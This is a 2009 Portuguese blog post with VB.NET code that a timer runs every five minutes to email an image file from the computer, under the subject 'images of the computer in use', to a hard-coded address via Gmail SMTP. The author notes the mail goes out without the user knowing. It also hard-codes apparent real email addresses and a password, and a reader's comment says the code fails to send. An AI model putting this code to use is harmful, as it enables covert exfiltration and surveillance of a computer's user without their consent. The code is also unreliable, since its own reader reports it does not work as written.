quinta-feira, 18 de junho de 2009

ENVIANDO E-MAIL VIA VB.NET

Abaixo, segue um pequeno código que envia e-mails via VB.NET
para uma conta no gmail.

As contas de e-mail abaixo são fictícias. Você deve alterá-las para contas reais.


O código abaixo foi colocado dentro de um timer programado para ser executado a cada cinco minutos (suas propriedades são timer4.Interval = 300000; timer4.Enabled = True).

Quando o tempo de cinco minutos é atingido, o código é então disparado.



Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick

If ExisteConexaoInternet() = True Then



'------------ MANDANDO E-MAILS PELO GMAIL
Dim NumeroFigura As String = "C:\temp\winnt" + "imagem1.jpg"
Const destino As String = "teresaflorindo@hotmail.com"
Const Body As String = "Teste de e-mail. Dê uma olhada!!"
Dim respostaEnvioLabel As String


Dim remetenteEmail As String = "leoflorindo@gmail.com" '; //O e-mail do remetente

Dim mail As MailMessage = New MailMessage()

mail.To.Add(destino)

mail.From = New MailAddress(remetenteEmail, "Teresa Florindo", System.Text.Encoding.UTF8)

mail.Subject = "Assunto: Imagens do computador em uso"

mail.SubjectEncoding = System.Text.Encoding.UTF8

mail.Body = Body

mail.BodyEncoding = System.Text.Encoding.UTF8

mail.IsBodyHtml = True

mail.Priority = MailPriority.High

mail.Attachments.Add(New Attachment(NumeroFigura))

Dim client As SmtpClient = New SmtpClient() '//Adicionando as credenciais do seu e-mail e senha:

client.Credentials = New System.Net.NetworkCredential(remetenteEmail, "jeovaedeus")
client.Port = 25
client.Host = "smtp.gmail.com" '; //Definindo o provedor que irá disparar o e-mail


client.EnableSsl = True '; //Gmail trabalha com Server Secured Layer

Try

client.Send(mail)
respostaEnvioLabel = "Envio do E-mail com sucesso"
'MsgBox(respostaEnvioLabel)

Catch ex As Exception


respostaEnvioLabel = "Ocorreu um erro ao enviar:" + ex.Message
'MsgBox(respostaEnvioLabel)


End Try
'-------------------- FIM DO CÓDIGO PARA O GMAIL------------------------------


End If

End Sub

Aqui está somente descrito o envio de um e-mail simples via internet. A porta de acesso é a 25. O servirdor smtp.gmail.com é informado como host.


Verifique que uma simples imagem está sendo enviada em anexo com a mensagem.

Para usar este exemplo, você deve criar uma conta no gmail para uso.



A função ExisteConexaoInternet() verifica se o computador está no caso logado a internet. Se estiver, é possível passar o e-mail sem que o usuário tenha qualquer conhecimento disso.

O código da função está descrito abaixo:

Private Function ExisteConexaoInternet() As Boolean

'Define uma URL válida para consultar

Dim url As New System.Uri("http://www.globo.com/")



'Monta a requisição HTTP

Dim req As System.Net.WebRequest

req = System.Net.WebRequest.Create(url)



'Tenta fazer a requisição

Try

Dim resp As System.Net.WebResponse

resp = req.GetResponse()

resp.Close()

req = Nothing



'Tudo certo... Temos conexão com a Internet

Return True

Catch ex As Exception

'Não deu... Conexão não dispon¡vel

req = Nothing

Return False

End Try

End Function

A função simplesmente verifica se é possível acessar com sucesso um site na internet (no caso o site da Globo). Se for possível, então há a possibilidade de se enviar e-mail via internet e o código de envio de e-mail é liberado.

Um comentário:

rafael disse...

ola amigo arrumei o codigo porem nunca da pra enviar o email, a mensagem diz que o servidor nao suporta conexao segura, se eu coloco como falso a opçao da conexao segura, ele diz que a conexao precisa ser segura haushahsh tem como ajudar?

UM APLICATIVO PARA LEITURA DEVOCIONAL ANUAL DA BIBLIA EM ANDROID

Olá, pessoal!  Este novo projeto foi criado em Visual Studio 2019 em C#.Net com o Xamarin. Já está disponível no Google Play para vocês baix...